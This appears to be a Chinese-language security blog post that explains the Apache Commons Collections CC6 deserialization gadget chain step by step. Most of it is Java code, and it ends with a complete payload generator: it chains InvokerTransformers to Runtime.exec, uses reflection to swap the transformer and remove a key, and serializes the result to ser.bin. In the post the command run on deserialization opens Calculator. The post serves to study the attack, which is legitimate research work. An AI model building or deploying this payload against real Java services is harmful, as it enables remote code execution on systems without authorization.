CC6利用链分析


CC6利用链分析

相比较于cc1,cc6主要用的多一点的原因就是兼容高版本jdk。

在前面的cc1中的LazyMap链分析中已经看到了,如果想要通过LazyMap来利用cc1,那么我们需要关注的就是get方法的调用位置,于是遍历以后发现在TiedMapEntry类中的getValue就使用到了get方法:

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        return map.get(key);
    }

并且这里的map值是可控的,所以,我们可以得到一个新的链子:

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
        tiedMapEntry.getValue();
    &#125;
&#125;

然后继续分析这里发现在TideMapEntry中的hashcode方法还调用了getValue:

    /**
     * Gets a hashCode compatible with the equals method.
     * <p>
     * Implemented per API documentation of &#123;@link java.util.Map.Entry#hashCode()&#125;
     * 
     * @return a suitable hash code
     */
    public int hashCode() &#123;
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    &#125;

也就是说这里直接调用hashcode方法,一样可以触发到LazyMap的get方法:

public class cc6 &#123;
    public static void main(String[] args) throws Exception &#123;
        Transformer[] transformers=new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]&#123;String.class,Class[].class&#125;,
                        new Object[]&#123;"getRuntime",null&#125;),
                new InvokerTransformer("invoke",
                        new Class[]&#123;Object.class, Object[].class&#125;,
                        new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec",
                        new Class[]&#123;String.class&#125;,
                        new Object[]&#123;"open /System/Applications/Calculator.app"&#125;)
        &#125;;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
        tiedMapEntry.hashCode();
    &#125;
&#125;

然后分析过URLDNS链的话,在这里就会比较敏感了,因为在HashMap的put方法里面会调用hash方法,并且key值可控:

        /**
     * Associates the specified value with the specified key in this map.
     * If the map previously contained a mapping for the key, the old
     * value is replaced.
     *
     * @param key key with which the specified value is to be associated
     * @param value value to be associated with the specified key
     * @return the previous value associated with <tt>key</tt>, or
     *         <tt>null</tt> if there was no mapping for <tt>key</tt>.
     *         (A <tt>null</tt> return can also indicate that the map
     *         previously associated <tt>null</tt> with <tt>key</tt>.)
     */
    public V put(K key, V value) &#123;
        return putVal(hash(key), key, value, false, true);
    &#125;

然后,在这个hash方法中会调用key的hashcode方法:

 static final int hash(Object key) &#123;
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    &#125;

所以这里修改一下我们的链子:

public class cc6 &#123;
    public static void main(String[] args) throws Exception &#123;
        Transformer[] transformers=new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]&#123;String.class,Class[].class&#125;,
                        new Object[]&#123;"getRuntime",null&#125;),
                new InvokerTransformer("invoke",
                        new Class[]&#123;Object.class, Object[].class&#125;,
                        new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec",
                        new Class[]&#123;String.class&#125;,
                        new Object[]&#123;"open /System/Applications/Calculator.app"&#125;)
        &#125;;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,123);
    &#125;
&#125;

然后还是同样的方法,我们尝试反序列化,需要找到一个重写了readObject并且还利用了hash方法的类,实际上HashMap的readobject就能实现:

public class cc6 &#123;
    public static void main(String[] args) throws Exception &#123;
        Transformer[] transformers=new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]&#123;String.class,Class[].class&#125;,
                        new Object[]&#123;"getRuntime",null&#125;),
                new InvokerTransformer("invoke",
                        new Class[]&#123;Object.class, Object[].class&#125;,
                        new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec",
                        new Class[]&#123;String.class&#125;,
                        new Object[]&#123;"open /System/Applications/Calculator.app"&#125;)
        &#125;;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,123);
        serialize(hashMap);
//        unserialize();


    &#125;
    public static void serialize(Object obj) throws Exception &#123;
        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    &#125;
    public static void unserialize() throws Exception&#123;
        ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();
        inputStream.close();
    &#125;

&#125;

但是到这里一步大家会发现,这里由于在序列化的时候本地执行了命令,所以,在反序列化的时候是失败的。所以这里我们要想个办法让其在序列化之前不执行命令,那么就需要将Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);中的chaineTransformer先替换掉。然后在反序列化之前再修改过来,这里可以通过new ConstantTransformer(1)来替换。因为在ConstantTransformer中,通过transform方法会返回自身:

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) &#123;
        return iConstant;
    &#125;

所以,修改以后的链子如下:

public class cc6 &#123;
    public static void main(String[] args) throws Exception &#123;
        Transformer[] transformers=new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]&#123;String.class,Class[].class&#125;,
                        new Object[]&#123;"getRuntime",null&#125;),
                new InvokerTransformer("invoke",
                        new Class[]&#123;Object.class, Object[].class&#125;,
                        new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec",
                        new Class[]&#123;String.class&#125;,
                        new Object[]&#123;"open /System/Applications/Calculator.app"&#125;)
        &#125;;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,123);
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(decorate,chainedTransformer);

        serialize(hashMap);
//        unserialize();


    &#125;
    public static void serialize(Object obj) throws Exception &#123;
        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    &#125;
    public static void unserialize() throws Exception&#123;
        ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();
        inputStream.close();
    &#125;

&#125;

这里在反序列话的时候还是失败,所以调试的时候终于发现了问题,这里因为表达式为true,所以会直接跳出,并且这里的key值已经为12了:

image-20220819122923400

所以这里,我们需要在序列化之前删掉key值,最后完整的payload如下:

package sec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 &#123;
    public static void main(String[] args) throws Exception &#123;
        Transformer[] transformers=new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]&#123;String.class,Class[].class&#125;,
                        new Object[]&#123;"getRuntime",null&#125;),
                new InvokerTransformer("invoke",
                        new Class[]&#123;Object.class, Object[].class&#125;,
                        new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec",
                        new Class[]&#123;String.class&#125;,
                        new Object[]&#123;"open /System/Applications/Calculator.app"&#125;)
        &#125;;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,123);
        decorate.remove("12");
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(decorate,chainedTransformer);

        serialize(hashMap);
//        unserialize();


    &#125;
    public static void serialize(Object obj) throws Exception &#123;
        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    &#125;
    public static void unserialize() throws Exception&#123;
        ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();
        inputStream.close();
    &#125;

&#125;

文章作者: kento
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kento !
评论
  目录